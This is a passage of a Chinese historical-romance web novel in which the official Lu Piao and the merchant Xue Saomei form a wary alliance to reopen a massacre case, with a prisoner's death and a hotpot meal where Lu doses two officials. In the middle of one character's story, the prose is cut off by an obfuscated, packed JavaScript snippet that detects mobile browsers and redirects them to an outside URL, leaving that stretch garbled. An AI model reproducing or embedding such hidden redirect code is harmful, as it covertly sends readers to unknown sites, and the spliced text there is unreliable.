“你放肆!”曹永年终于发现葛三的不对劲,从一旁拾起鞭子,就要冲上去用刑,却被陆缥抬手制止。 “你见过我?”陆缥皱起眉。他快速地在脑海中搜索了一番,没寻到任何关于此人的印象。 “不曾!”葛三咬牙挺起胸膛,“我一介流寇,怎配见陆侯?我只是觉得好笑——我兄弟二人,一南一北,竟都将性命交代在你这狗官手中。哈哈哈!天道如此,可笑可笑!” 泪水从他眼眶中滑落,将脏污脸颊冲出两道白痕。 曹永年心道不好,正欲制止葛三继续发言,陆缥却已闪身绕过他,来到葛三面前,沉声问道:“你这话从何说起?” “陆侯可还记得一个名叫‘葛陆’的小兵?他原名葛六,是我的幺弟,因仰慕你——年少成名的陆将军,在参军后便自己改了大名。弘文二十三年,他随你手下杨浚出征,再也没有回来。”葛三怒视着陆缥,眼角猩红,目眦欲裂,“崤东道连年灾荒,可你们还要征兵!还要加税!我家兄弟六个,只有两人活过十岁,可幺弟还是死在你们手上……他死的时候,也不过十五岁!” 曹永年血冲天灵盖,脑中“嗡”地一声。 他虽久居江南,却也曾听说陆缥在西北时的一些传闻。 葛三口里的杨浚,正是陆缥在军中的副将。弘文二十三年大燕与白狄和谈时,杨浚擅自率领八千精锐奔袭白狄王帐,自己兵败身死,麾下全军覆没。事发后,杨家三族被夷,陆缥亦因御下不严,被弘文帝撤去神牧道都指挥同知、定远将军等一应军职,召回未央京。 曹永年战战兢兢,竟不知是应上前劝慰陆缥,还是离他远一些,避免到时阎王发怒,殃及他这小鬼。 他还在犹豫,葛三却已继续开腔痛陈:“我不过杀了十几个人,就要赔上性命。陆大人,多少人因你送命,你怎么不去死?你如今能人模狗样地坐在这里审我,不就是仗着你的狗皇帝姨父么?”狠狠吐出口中血沫,葛三再度怪笑起来,状若疯癫,“‘双雁还,涤水断’。老子倒要看看这江山,他能稳坐到……几……时……” 话未说完,陆缥已出手。葛三的一条性命,就此交代在曹永年眼前。 这厢曹永年还沉浸在恐怖回忆之中,那厢陆缥见他呆立良久,主动询问道:“曹参军,你这是怎么了?” “陆阎……陆大人……大人。”陆缥和颜悦色,倒教曹永年吓破了胆,差点脱口说错。他连忙偏过头去,暗中扇了自己一记耳光,勉力维持清醒,“您刚才有何见教?我一时出神,没听清楚。” “我是问你,是否记得葛三刚才说了什么。”陆缥放慢语速,一字一句地重复之前的问题。 曹永年连连摇头。全是大逆不道之语,他怎么敢记? “甚好。曹参军觉得,葛三死得冤枉么?” “不不……不冤枉,这狂徒死有余辜!” 陆缥踢开葛三尚有余温的尸身,颔首道:“曹参军所言甚是。这葛三自知罪不可赦,已畏罪自尽。你让守在外头的胥吏,将他尸身抛到城外乱葬岗去罢。” 曹永年唯唯称是,立刻高声唤人来办。 陆缥尚有吩咐:“还请曹参军整理好本案卷宗,三天内送到府衙来。薛家大姑娘与本侯俱是本案苦主,届时会在陈知府的主持下,完成画押。你是本府刑官,也需一并到场。具体时间,稍晚陈知府会通知你。” “敢不承命。”曹永年欠身送陆缥离开刑房,穿过甬道,走出牢狱。 直到陆阎王的身影终于消失,曹永年才腾出手来,抹了一把额上冷汗。日光朗朗,暖融融地照在他头顶,曹参军终于找回几分为人的实感。 而在阴冷的刑房当中,两个小吏正忙着用草席卷起葛三的尸体。他们谁也没注意,在破烂衣衫遮盖下,葛三毫无起伏的胸膛正中,嵌着一枚只露出皮肤小半寸的极细银针。 *** 薛大姑娘在家将养了五六日,便接到府衙召唤,令她去补录葛三一案的证言。 瞿准正在为她扎针,闻言忍不住大皱其眉:“你需要静养,不可见风,不可劳动,今日还是就躺着罢。” “不成的,”薛扫眉倚在床头,含笑道,“这是官府宣召,我必须去。” 况且这是见陆缥的机会,她需得把握。陈知府那日送信来说,陆缥已答应收下周宅,她正好借机与他说明一番。 “你这样不行。”瞿扁鹊固执己见。 “这不是还有你么?”薛扫眉妙目一转,“平仲,我听说有种神药,叫‘继息丸’, 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他长于医道,那夜伸手一探脉息,便已知悉薛扫眉此次病倒,是因为受寒和劳累过度——她应该是在外面呆了很长时间。作为医者,他看薛扫眉这样作践自己的身体,就像瓷匠看到精心烧制的花瓶自己从桌上往下跳一样,又惊又怒;可作为朋友,他又为她能短暂地离开这牢笼般的宅院,而倍感欣慰。 瞿准怔忪之间,忽然有一人从外头闯了进来——是薛兼听闻消息,来接薛扫眉。 此人一贯刚愎,此前在菩萨蛮时还曾当众对自己出言不逊,是个不好招惹的狠角色。瞿准本欲低头走开,怎奈医者天性占了上风,一下子脱口而出:“薛管事……薛姑娘还未大好,你千万看住她,不可再见风了。” 出乎他意料地,薛兼拱手长揖,语气竟十分客气:“多谢瞿扁鹊良言,在下必会看顾好大姑娘,让她早点回来休息。” 瞿准眨眨眼,正怀疑自己是不是眼花耳鸣,薛兼已疾速从他身边走过,向里屋的方向去了。 未几,房中传来瓷器碎裂的声音,想是薛大姑娘又冲那薛兼发了脾气。常常如此,又怎能静气养心? 师父生前常说,“医者只可医病,不可医命”,想来就是这个意思了。瞿扁鹊喟然长叹,终于走开。 他大概想不到,自己鼓起勇气交待薛兼、且已被薛兼郑重应允的话,最终还是落了空。 也许是因为陆缥前来坐镇,今日府衙守备格外森严。包含薛管事在内的一应仆从,均被谢绝入内。薛兼掏出孔方兄,请守卫稍加通融,可人家目不斜视,反过来求他不要为难自己。薛兼还欲活动,却被主人家喝止。 “我自己去就行。”薛扫眉裹紧狐裘,步下马车。也许是薛兼吃瘪取悦了她,又也许是猜想到这是陆缥的安排,薛大姑娘此刻的心情如同天色一般,稍稍放晴。 她顺利进到府衙之中,陈相如和曹永年已在后堂等待。薛扫眉接过胥吏递来的案卷,当着他二人的面,通读起来。一桩案情简单的刺杀案,因涉及陆缥这位钦差上官,案卷竟已写了三十余页,所记所载,巨细靡遗;最后还有数页留白,旨在容纳本案两位苦主的证词。 薛扫眉一目十行地看完所有材料,合上卷纸,微笑道:“那匪徒说的,均是事实。我没有什么异议。” 陈相如和蔼道:“妙哉!本府令人记下这条,薛大姑娘稍后签字画押即可。” “有劳府尊大人、参军大人。”薛扫眉起身行毕礼节,忽然好似想到什么,毫不刻意地问,“那日多亏陆御史出手相救,小女子才得以保全性命。我一直想当面向他致谢。不知陆大人今日可会来?” 陈相如和曹永年交换了个眼神。 陆阎王他当然会来——也正因为他要来,他们二人才会陪同在此。不然就凭薛扫眉一介商户女子,区区画押小事,怎能同时劳动知府与司法参军? 二位大人心中苦笑未止,姗姗来迟的陆御史已穿过朔风,登堂入室。 22. 第二十二章 【指印】 这是薛扫眉第一回见陆缥穿官服的样子。 他的肤色在男子中略嫌白皙,眼睛也生得秋水含情,好在长眉如飞、鼻梁高挺,勾勒出英挺飞扬的轮廓,将脂粉气息从这张艳丽面孔上驱赶殆尽。同样一袭绯色团领袍衫,陈知府穿起来只显臃肿,却将陆缥衬得愈发面如冠玉,光彩照人,遥遥一见,竟有白雪红梅之姿。 除祭服之外,本朝官员以官阶而非爵位论服色:从五品以下着青色官服,从五品及以上着绯色官服,从二品及以上着紫色官服。陆缥此前在神牧道任从二品的都指挥同知时,便应当服紫;现下做了从五品的监察御史,虽然他还有正二品侯爵的位份,也只能降格服绯了。 薛扫眉一面偷眼欣赏陆御史的美貌,一面想象他从前着紫衣的样子,暗自腹诽:此人还是穿绯衣好看。为旁人的眼福着想,陆大人不若就将这身从五品官的装扮从此焊在身上,别再升官了。 她此刻心情难得轻松,半截银箔面具遮不住唇角弧度,让陆缥抓了个正着。 “薛大姑娘,这是有什么喜事么?”他挑眉问。 薛扫眉敛容行礼:“见过察院大人。小女子方才看完了葛三案的卷宗,写得真好!条分缕析,天衣无缝,教我大开眼界。本案由陆大人亲手捉拿凶犯,陈大人、曹大人鼎力协办,可谓珠联璧合,勠力同心。碧霄府有父母青天如此,实在是百姓之福。小女子想到这里,喜不自胜。” 隔着面具,能看出她眼睫低垂,一副柔顺之相。 可惜—— 陆缥将视线转到陈相如与曹永年脸上。二人对薛扫眉的奉承照单全收,均面露微笑,难掩得色。 说者有意,听者无心,他们丝毫没听出她言外的讥诮之意。 当年的薛家灭门案,涉及四十余条人命,可只写了薄薄两册案卷,且画押不全,证物佚失……也是这两个人办的。现如今,简单清爽的一桩缉拿贼匪案,倒是办得像模像样,可称典范了。 多么讽刺的对比。 薛扫眉礼毕起身,经陈相如允许,坐回椅中。她身子矮了下去,脊背却挺直起来,墨玉一般的瞳仁含笑凝睇,越过闲杂人等,直直望入陆缥眼中。 陆缥看懂了这个眼神。 她方才所言,不仅是讥讽,更是对他的提醒:府衙的案子办得好与不好,关窍不在已尸位素餐多年的陈、曹二人,而在于他陆缥的态度。今日葛三案如此,往后重查薛案,也应当是如此。 众人在陈相如的张罗下,重新入座。 陆缥比约定的时间来得晚了些,陈知府随意询问两句,被他不咸不淡地搪塞过去;曹永年讪然开口寒暄一二,亦被他简单打发。言语来回之间,陆御史已信手翻完案卷,表示殊无异议。 胥吏于是将二人证言记录在册,近前奉上笔墨等物,让薛、陆两位苦主兼证人按照先来后到的顺序,依次画押。 轮到陆缥,他挥毫签好一个龙飞凤舞的“陆”字之后,便放回笔,将右手食指按入盛有朱色油泥的陶盏之中,沾染颜色。 做好准备,他看向案卷中应当印上自己指纹的空白处,却无意瞥见已被胥吏翻过的那页,自背面隐约透出一点朱色的阴影。 那是薛大姑娘刚刚印上的指纹。 而陆缥当下手指所落之处,片刻之前曾被她的纤指触碰。同样的艳色,分别浸染各自指尖。 正如数日之前的月夜,狭小船舱之内,仓促匆忙之间,他与她伸指相抵,朱色蔓延。 彼时胭脂代血,今日朱砂为记。明明不为风月,无关缱绻,却让他无缘由地忽然走神。 陆缥极少如此。在被旁人发现失态之前,他已立即醒转过来,迅速完成了捺印画押。 纸卷被胥吏顺手合上。一前一后两页证言上,大小不一的两枚指纹,从此悄然重叠在一起。 今日事情办得顺利,又听了薛扫眉一箩筐好话,陈知府心满意足,预备与曹永年一起功成身退。 陆缥却不想这么简单地放过他们:“陈大人、曹参军,现在已经是申时中了,散值在即,不如一起用个便饭?昨日我休沐,去南郊猎到了数只野兔,正好请两位大人尝个鲜,权当我迟到的赔礼——就在府衙后院用餐,我方才来时,已命人去布置了。” 他又转脸看向薛扫眉:“薛大姑娘也一起罢。” “这怎么好意思?”薛扫眉没想到他会作如此安排,一时有些犹豫。 陆缥笑道:“大姑娘托人赠予的厚礼我已收到了。陆某手头无甚可回报的,只好借由山间风物讨个巧。陈、曹两位大人,与大姑娘也是旧识,想必不会不方便罢?” 他既如此说了,陈相如和曹永年当然要买这个面子,立刻应下。 “厚礼”,指的应当是周宅。可这份礼的用意,明面上是感谢陆缥的救命之恩,又哪里需要“回报”呢?薛扫眉不知陆缥葫芦里卖的是什么药,但情势如此,她不好拒绝,只能走一步看一步了。 一行人穿过走廊、天井与数个院落,来到府衙后院。 陈、曹二人轻车熟路,走在前面。薛扫眉是第一回来,陆缥不紧不慢地跟在她身侧,时不时向她介绍府衙内的设施。 “这是档案库,府衙内的所有案卷、证物,都积存在此。” 薛扫眉抬眼望向那栋门窗紧闭且有胥吏看守的二层小楼,只瞥了一眼,很快收回视线。 那么,薛家命案的一干档案,自然也在这里了。 “察院大人,”她特意提高一些声音问,“小女子非官家之人,不合适知道这些罢?” 陆缥莞尔,不以为意:“陈大人数次与我说过,大姑娘是利国利民的良贾,必不会做出对官府不利之事。再者说了,这个地方,和大姑娘你也并非毫无干系……” 陈相如听到这一句,感到其中似乎另有所指,脚步一滞。 陆缥继续道:“……大姑娘方才作为苦主画押的案卷,一会儿便会送回到这里存档。” 原来他指的是这个。陈相如放下心来,回头附和道:“是啊是啊。江南富庶,官商交好,薛家更是碧霄府乃至江南六道最大的税户。大姑娘向来稳重得体,本府没有什么不放心的。” 说话间,一行人已来到后院西北角的六角亭下。 府衙后院的大部分建筑,除用来放置档案、器物的之外,便是供官员临时休憩的场所;建于低矮假山之上的这座亭子,便是其中一部。此亭西、北两面由府衙高墙环抱,寒风无法穿透;从假山上的小径登临后,可向东、南方向远眺,将整个府衙收于眼底。 “我闲时常来此处。日间人员如何走动,夜间何处无人值守,都看得分明。”陆缥笑道,“今日请诸位吃风炉,需用炭火、散炭气,这里正合适。” 前半句话一出,曹永年顿时汗流浃背。他偷奸耍滑惯了,连带下头的人也跟着散漫,常不在任上。也不知陆缥是否给他们记上了一笔?世人都道陆缥风流成性,凶残弑杀,谁想此人还有如此细致的一面。看来以后再与陆御史打交道,断不可再掉以轻心。 曹参军打定主意。就从这顿饭开始,务必打起十二分精神,将陆阎王伺候好。 亭中已依陆缥吩咐,摆好了桌椅、餐具。四张小案上,各支着一口铜制风炉,炉中水已烧开,水雾与炭火燃烧生成的燥气缠绕在一起,升腾而上。 一众仆从功成身退后,陆缥招呼各人落座。四张小案以环形排列,座次无分上下。陈相如和曹永年抢着坐在陆缥两侧,薛扫眉最后入座,只好坐到他对面。 “今日并非正式宴请,陆某亦不像府尊大人那般风雅,便没请四司六局,也未制看菜。风炉涮肉是未央京中盛行的吃法,将鲜肉细细片好,入汤摆熟后蘸上酒酱椒料,便可入口,别有一番风味。” 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“锅里煮的是旭山圣泉水。”陆缥提点道。 “旭山圣泉!那可是茶圣书上都记载过的顶级泉水,呃,晶莹……清澈……”曹永年搜肠刮肚。 陆缥展颜一笑,出言打断他,权当是解围了:“说起来也巧。昨日我去南郊山中打猎,家中小仆贪玩,非要去一旁的桑罗观看银杏。许是他与观中道长有缘,人家特意从后山的旭山圣泉中取了两瓮水赠他。我倒是沾了他的光。” 他提到“桑罗观”,眼神便若有似无地递过来,被正巧抬头的薛扫眉准确接住。 桑罗观是瞿准的住所,而瞿准是她与玉霓裳的联络人。桑罗观的清源道长,更与她幼年的际遇有关。 陆缥在调查她。 也对,当日柳叶渡口匆匆一叙,尚不足以让他全盘相信自己。 她又何尝不是还有所保留?也算是公平。 思及于此,薛大姑娘暗自定神,继续微笑着听其余三人边吃边闲谈。 她虽气定神闲,可面上却有些狼狈。风炉内燃烧的炭火使周遭空气变得湿冷,凝结在她所戴的银箔面具上,化为密密的水珠,不时滴落下来。她只好撤身离桌案稍远一些,以避开那些导致麻烦的水汽。 炭火渐旺。薛扫眉与陆缥之间由两道蒸腾的水雾隔开,看不清彼此面容。 这么囫囵又吃了一盏茶的时间,陈相如和曹永年的声音忽然低了下去。 薛扫眉觉得奇怪,向左右各扫了一眼,却见两位大人面色通红,似在强力忍耐着什么。 陆缥似乎也察觉有异,关切地问:“怎么了?知府大人、曹参军,我看你们已停筷了,不再多用一些么?” 陈相如正被一阵剧烈的腹痛袭击,用尽全力才维持住正常的语气,起身强笑道:“缈……之,今日盛情,我……心领了。只不过,天气……寒冷,我忽觉身……子不适,先走一步。” 曹永年暗中收紧双股,捱过一阵排山倒海的刺激,硬着头皮附议道:“下官……也先……告退,多谢大人……招待……” “既如此,我也不好再留二位,那就下回再聚罢。”陆缥不无惋惜地道。 陈、曹二人如蒙大赦,抱着肚子落荒而逃。转眼之间,六角亭中只剩下陆缥与薛扫眉。 “他们这是?”薛扫眉尚不能肯定心中猜测。 “恐是福薄,消受不了好东西。”陆缥散淡的声音由远及近传来。 薛扫眉一转头,他已改坐到原先陈相如的位置,扶着桌角,探身过来。两人之间仅有一臂之隔,不至于暧昧,但已足以让她看清他浓密的眉毛、似笑非笑的桃花眼,还有因食热物而变得更加鲜红、此刻正在翕张的两片朱唇。 “闲杂人等已被请走,轮到我与大姑娘好好谈一谈了。” 23. 第二十三章 【报恩】 许是因为炭火太旺,望着陆缥格外昳丽的一张脸,薛扫眉竟感到脸热心跳。 “既然已无外人,可否容我先取下面具?”她声音不觉低了下去。 “自然。”陆缥挺直腰,将手抱在胸前。 在他注视之下,薛扫眉伸手解开脑后绳结,将自己从那半张徒添麻烦的银箔面具中释放出来。 四下无人,总算能以真面目相对。 薛扫眉将面具放到桌上,褪去作富商薛大姑娘时周全得体的伪装,重新变回那个充满锋锐的薛扫眉。 “陈、曹二位大人忽然请辞,是侯爷动的手脚么?” 陆缥很是坦然:“我不过是在他们的汤底里,多加了一点点清热解毒的草药而已。可能是他们年纪稍长,反应大了些。无事,左右多上几回茅房,便也好了。” “可今日都是现场选的座位,侯爷怎能提前知道他们会坐哪?” “那两人惯于溜须拍马,我只需选好自己的位子即可,他们自然会随在左右。” “侯爷好成算。”薛扫眉赞罢,又问,“清热解毒的草药——您还懂医术?” “当年在军中,和军医学过一些皮毛。”陆缥避重就轻,略过在血滴子受训的一段未提。 很合理。薛扫眉点点头。 寒暄到此,可以告一段落了。她敛容正色,直入主题:“侯爷煞费苦心,将我约到这里,是想问什么?” “那我便开始了。”陆缥深深看着她。 他精于刑讯,往往能从细微的表情判断人言真伪。此女子身上,有足够的坚韧、胆识和谋略,是他愿意与之合作的基础;但她又似隐藏了许多秘密,一眼望去,如云山雾罩,教人捉摸不透。 这些问题,必须一一探明,他才能真正认可她做自己的盟友。 “你在曹永年那里,安插了自己人?”陆缥不疾不徐,抛出第一个问题。 薛扫眉微微睁大眼睛,懵懂地问:“侯爷是指……?” “我观察过曹永年和你互动时的反应。你们并不熟。”他断言道,“我还问过曹永年薛案佚失的那两把刀的去向,他全无印象,甚至不知道它们丢了。而你告诉我,那两把刀是你请求陈相如和曹永年赐还给你,作为留念的。为免万一,我也旁敲侧击问过陈相如,他和曹永年的回答如出一辙。如果不是他们都在撒谎,那便只有一种可能:说谎的人,是你。” 薛扫眉不发一语,听陆缥分析。 “我便又想,如此细枝末节处,为何值得你薛大姑娘一力遮掩? “还有,曹永年为尽早结案,断定刺杀案的原委应是‘流民劫财’。他以为如此草草了事,可以不再让百姓议论我的杀神名号,便能讨好我。可以我对他的粗浅了解,以曹永年自己的脑子,想不出来这种主意。 “在此案之前,曹、陈二人,都以为我不过是个追逐名利的风流种子罢了,所以觉得这是条妙计。但替他们出这个主意的人,显然是在利用他们,来引起我对碧霄府积弊和薛案的注意。 “毕竟这数年以来,碧霄府清平得很,以‘流民劫财’为理由的、伤亡五人以上且未破的大案,便只有我的这一件,和你家的灭门案。 “你那日还说,是从杀害你全家的贼首口中,得知他要设伏刺杀我,尔后命人在天亮前将薛案旧刀放到刺杀案现场。曹永年粗心,未加怀疑就将那刀直接捡起作了证物。可我清点过匪徒和刀的数目,是完全一致的。我分明记得,当夜每一个匪徒,都拿着一把长刀。 “也就是说,你派去的人,为避免人和刀的总数有所出入、引人怀疑,并不只是在现场放下了旧刀——相应地,她还拿走了一把。” 薛扫眉静静听到这里,终于忍不住发问:“侯爷究竟想说什么?” 陆缥信步折返到自己最初的位子上,拿上茶壶与瓷杯,又坐回她身侧,倒好茶水,一饮而尽:“我猜想,那两把刀,是你的人从档案处偷偷拿走的——我原本觉得可能是你自己拿的,但方才我故意说错,将档案处隔壁的兵器库当做档案处介绍给你,你也不疑有他,可见根本不知档案处在哪里——那便是有人替你潜入府衙,办成此事。 “你故意欺瞒,不想让我深究那两把刀的来历,便是在保护此人罢。 “不知此人,是否亦是给曹永年出主意,且在刺杀案现场换走证物的那一位?” 他竟然全猜对了。 薛扫眉心情复杂,有惊讶,有惶恐,还有一丝不可捉摸的欣喜。她太需要这样智计相当的盟友了。 陆缥见她不做声,更进一步:“此人需与曹永年相熟,可不引人注目地出入府衙,还得与你有隐秘的联络渠道,才可躲开那位薛管事的监视。我最近查到,曹参军有一独女……” “大人。”薛扫眉打断他,“若是在公堂之上,您方才说的这些,我只认它们是无端臆测。但今日只有你我二人,我们又已结盟,若您愿意,我想和您讲个故事。” “请便。”陆缥今日并不真是来讯问的,可容她细细分说。 薛扫眉握住瓷杯,娓娓道来:“从前有位小官,妻妾早逝,膝下只得一个女儿,另从宗族中过继了一个男孩,算是承嗣。这女儿长大之后,按照父母之命,嫁到自幼订婚的婆家。只可惜,她那夫婿福薄短命,一年之后便撒手人寰了。婆家人嫌她晦气,待她极差,平日里不仅少给衣食,还支使她如奴隶一般,近乎虐待。 “女儿想回娘家,但小官执意不肯。只因他听说,本朝最重孝道,像女儿这般丧偶的,只需继续在婆家侍奉十年,便能向朝廷求个嘉奖;而他这做父亲的,届时也□□升。因此,女儿数次从婆家逃回,均被他和嗣子棍棒赶出。 “一日,女儿出逃,又被小官恶语赶回,终于心灰意冷,想找个地方自尽。她寻到一处水井,正欲跃下,却被一个路过的庖夫救下。那庖夫听闻她的遭遇,颇为同情。此后女儿屈居在婆家时,庖夫便时常在深夜将食物抛过院墙,供她吃喝。 “谁承想,一来二去,婆家人还是发现了他们的‘私相授受’,勃然大怒,便要报官。那小官听说此事,深觉丢脸,竟逼迫女儿自尽,以保全他自己的名声! “无奈之下,庖夫只能向自己的东家求助。他在厨艺上极有天赋,很得东家青眼。东家看重他,便出了一笔钱,让婆家将小官之女放归;又寻求知府襄助,摆平了小官的业火。 “经过生死劫难,庖夫和小官之女终于走到一起,二人潜心钻研美食,将东家的酒楼经营成了江南六道的头一份,自己也成了酒楼的掌柜与二掌柜。感念东家的恩情,小官之女发誓尽心报答。她甚至勉强自己,与父亲重修旧好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480571|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “后面的事情,就暂且不表了,任凭侯爷想象罢。 “不过,这只是个杜撰的故事,是绝不可作为呈堂证供的……我不会认。” 她话说多了,又开始咳嗽。 “喝点茶水。”陆缥将薛扫眉手中的瓷杯斟满。连陆缥自己都没注意,此刻同她说话的语气,竟少见地和缓。 他听懂了:这个故事里的“小官”,是曹永年;“东家”,是薛扫眉自己。 至于“小官之女”和“庖夫”,则是知恩图报,为了薛扫眉可以肝脑涂地、以身入局,甚至去做任何事情的人。他们曾是被人嫌弃的寡妇、比商人地位还低一等的下九流,但若论为知己者死的境界,已胜过许多沽名钓誉的士大夫。 他们,也是薛扫眉宁可将所有罪责揽在自己身上、也想要保护的人。 这种人与人之间的情感,陆缥曾经真实地体验过。在神牧道军中之时,他与他的兄弟们,便是这般赤诚相待,与子同袍。 陆缥沉思之际,薛扫眉终于抚顺了自己的呼吸。 “既是故事,我希望它能有个圆满的结局。侯爷觉得呢?”她看向他,黑白分明的一双妙目中,含着希冀。 “长刀锋利,放在家中毕竟危险。若无用武之处,最好趁早丢了。”他没有回应她的问题。 但这便是最好的回应了。 薛扫眉微笑起来。她面容清瘦,原本比不上陆缥艳若桃李;但这笑意染上她泛红的脸颊,却灿烂辉煌胜过朝霞,让他心跳漏过一拍,忍不住移开自己的视线。 “我还有话要问你。” “侯爷,但说无妨。” “那夜你口口声声说,要为‘四十七条人命’报仇,但案卷上记载的死者人数,分明是四十八人。”陆缥见她眼中光芒愈盛,终于确认了自己的猜测,“你是故意这么说的。” “侯爷问出这个问题时,我便知道您真的看过了案卷。” “若我当真看过,只是未记住细节呢?” “那我便也知道侯爷并未将我的事放在心上,又或是力有不逮,不足以发现这种细节。我自可以根据侯爷所为,给出对等的新任和报酬。”换而言之,如陆缥只是应付她,或是连如此重要的线索都可忽略的蠢蛋,她也不必全心依赖于他了。 “薛大姑娘真是……”陆缥默了一瞬,终于找出个恰如其分的词汇,“算无遗策,令陆某佩服。” 薛扫眉疲惫地眨眨眼:“不敢当,我不过是在商言商。报仇事大,曾有人言之凿凿要助我,但一把放在枕头上的血刀就足以让他吓破了胆。我着实不敢再将此事,托付给无胆无识之辈。但请放心,我做生意向来诚信为本,既然已与大人结盟,必不相负。 “我好像又有些发热了。关于侯爷提到的死者数目上的差别——来日方长,待您乔迁新居之后,再容我将当年案子的隐情细细告知罢。” 原来她面上潮红,是生病未愈所致。陆缥后知后觉地反应过来。 他环视四周,天已擦黑。今日已在此盘桓良久,是时候放薛大姑娘走了。 陆缥站起身,将薛扫眉护送下假山。 即将落地的瞬间,他在她耳边低语了一句。 “关于你说的那群着黑衣、戴黑面具的匪徒——我在调查另一案时,似乎已寻到了一些线索。” 24. 第二十四章 【呼吸】 陆缥说这话时,与薛扫眉尚有距离。 时值初冬,傍晚的气温已低了下来。他呼出的气息如暮霭般,穿越过横亘在二人身形之间的虚空,轻柔而温暖地,漫及她耳畔。 薛扫眉若有所感,回过头去。陆缥身量极高,她被迫抬起下巴,才可直视那双冶丽的眸子。 “侯爷是说——” “来日方长,”陆缥见她面色潮红,不愿再多说,“待下次见面,再与你分说。” 他明明心有不忍,语气却淡然如常。薛扫眉听到耳中,以为他是对自己所说的“来日方长”礼尚往来,同样是在卖关子,不禁暗暗懊悔:早想到此人锱铢必较,方才就应咬牙将事情说完才是。 不过既然话已至此,她也只好暂且将问题咽下,留到下次会面时,再行盘问。 打定主意后,薛扫眉将心绪沉淀下来,向陆缥行礼道别,转身欲走,却被他喊住。 “侯爷?”她又一次回头。 “你忘了东西。” 陆缥向前一步。二人之间因薛扫眉迈步而拉长的距离,被轻松缩短。 他伸出手,将一片银白色的物件举到她面前半寸之处,堪堪遮住她的视线—— 是薛扫眉遗落在桌案上的银箔面具,被陆缥顺手收好,只待此刻返还。 只不过,因为身高差异,他一时未将面具对准,教银箔挡住了薛扫眉的眼睛。 陆缥显然发现了这一点,于是皱眉凝神,微弯下腰,调校自己的动作。 薛扫眉眼前一晃,很快便从面具的两个开孔中,看见几条黑影。 那是陆缥手指的轮廓。他在为她举着面具。 薛扫眉垂下眼睫,从面具两侧摸出皮绳,在脑后系好活结,道了声“多谢”。 这一声既低且哑,她唇间逸出的微弱呼吸,在陆缥撤手之时,轻轻击中了他的掌根。 像被柔软的刺扎中,所向披靡的陆侯爷也不由得小退了半步。 而他滚动的喉结、英挺的下巴,就此从薛扫眉垂目余光中一闪而过,很快消失了。 “天色已晚,我……我先走了。” 一定是因为那面具冰冷,贴在肌肤上,两相对比,才显得脸更烫了。一定是这样。薛扫眉想。 “你路不熟,且跟在我身后出去罢。”那厢陆缥不知在想什么,声音也低了些。 二人在府衙中穿梭,一路静默无话。 待出到西侧门处,便有人望到他们的人影,从前方停着的马车旁疾步走过来。 是一直守在那里的薛兼。 薛扫眉被门口的冷风一吹,又乍见到薛兼,脑中弦瞬间绷紧,忽然想起自己还有重要的话,没来得及与陆缥交待。 事急从权,她只好快走一步,拉住陆缥手肘处的衣袖。 “侯爷,自周家父子迁走之后,我便已命人整修周宅,再过四五日便能完工了。”薛扫眉面上含笑,身躯凑近,装出与他十分亲昵的样子。 陆缥也看见了薛兼,立刻会意,配合她放慢脚步。 只听薛扫眉压低嗓子,用仅有他二人能听见的音量,快速说道:“唯独周宅东北角处有一个曾遍栽绿梅、但已废弃多年的小院,唤作‘梅园’,我此番不预备再动。您入住之后,还请找个方便的日子,到银灯楼寻赵掌柜,点上一份‘拨霞供’。次夜子时,我便会在梅园西耳房内等您。” 话音刚落,薛兼已走到他们面前。 他手中掌着的灯,映亮自己寡淡隐忍的一张脸,也照出薛扫眉面上甜蜜的笑意。 那笑容像一把刀,暴虐地砍翻了薛兼心中盛满铁水的滚烫炉鼎。原本隐秘燃烧着的渴望溅落满地,立时冷凝成暗色的灰烬,铺满他的心原。 主人曾和他说过,待薛家与周家退婚之后,若无变数,可以考虑让他入赘薛家。如此,江南首富薛家的一切,将完全地属于他们;而他,将以薛兼的身份永远生活下去,并且拥有薛扫眉。 薛扫眉应该也知道这个安排。他以为她的冷漠,只是最后的挣扎,总有一天,能被融化。 可如今,变数出现了。 “陆大人。”行礼所需,薛兼不得不低下头去。他目之所见,是一双用金线绣着云纹的皂靴。那是有官阶的人才被允许穿着的。 皂靴的主人正噙着笑意,与他家大姑娘温言话别,并未向他投来一瞥。 直到薛扫眉被薛兼带来的仆妇接应上马车,陆缥才回过头,冷淡而不失锐利地睇着他。 “薛管事也在啊。陆某听闻,薛管事算是薛家半个掌门人。今日怎么有空,做起车夫来了?” “那些话,尽是谣传。我从来都只是薛家门下的一介奴仆,甘为大姑娘驱策。” “哦?”陆缥弯起嘴角,眼中却无笑意,“薛管事这话说得漂亮。过些日子,我将搬到贵府隔壁的宅院去住。眉儿方才与我说,远亲不如近邻,我要什么,她都会给。正好我赴任时带来的车夫被人射死在了城外,若我向她讨个车夫,不知她……” 薛兼知他在试探,竭力克制自己,不在表情上露出破绽。 “草民是薛家奴仆,大姑娘说什么,我便去做什么。”他沉声道。 薛兼刻意不回避的眼神和意思重复的语言,已经让陆缥得到了想要的答案。 此人在听到“车夫被人射死”时,瞳孔微张,甚至快速地眨了一下眼。 他知道这个事情。 可城中众人议论的焦点,分明是在陆缥一人屠尽十四个使刀刺客上。无人关心或者在意车夫的死因,官府也从未披露过。 薛兼却知道这个细节。也许那个夜晚,他便远远地埋伏在山崖之上,目睹一切发生。 他眨眼的动作,还发生在听到另二个字的时候。 陆缥故意慢条斯理地说:“天色晚了,路上难免看不清楚。你带眉儿回去,走慢一些,省得颠簸。” 果然,他说前面一句话时,薛兼神色如常。可当听到“眉儿”时,薛兼却立刻转开了视线,旋即似意识到了什么,很快又注视过来。 “知晓了,多谢大人记挂大姑娘。告辞。”薛兼长揖,眼皮垂下,掩去心事。 此处的眼神回避,出于礼节,是正常的。 但一息之前的可不是。 风铃摇晃。薛家马车在陆缥目送之下,逐渐远去。 陆缥返身进入灯火初上的府衙,在灯光与夜色的交替之间行走,一面回想薛兼方才的反应。 他果然没有想错。上次在渡口,他便从薛兼看似恭顺的言行之中,觉察到此人对于自己隐秘的敌意。 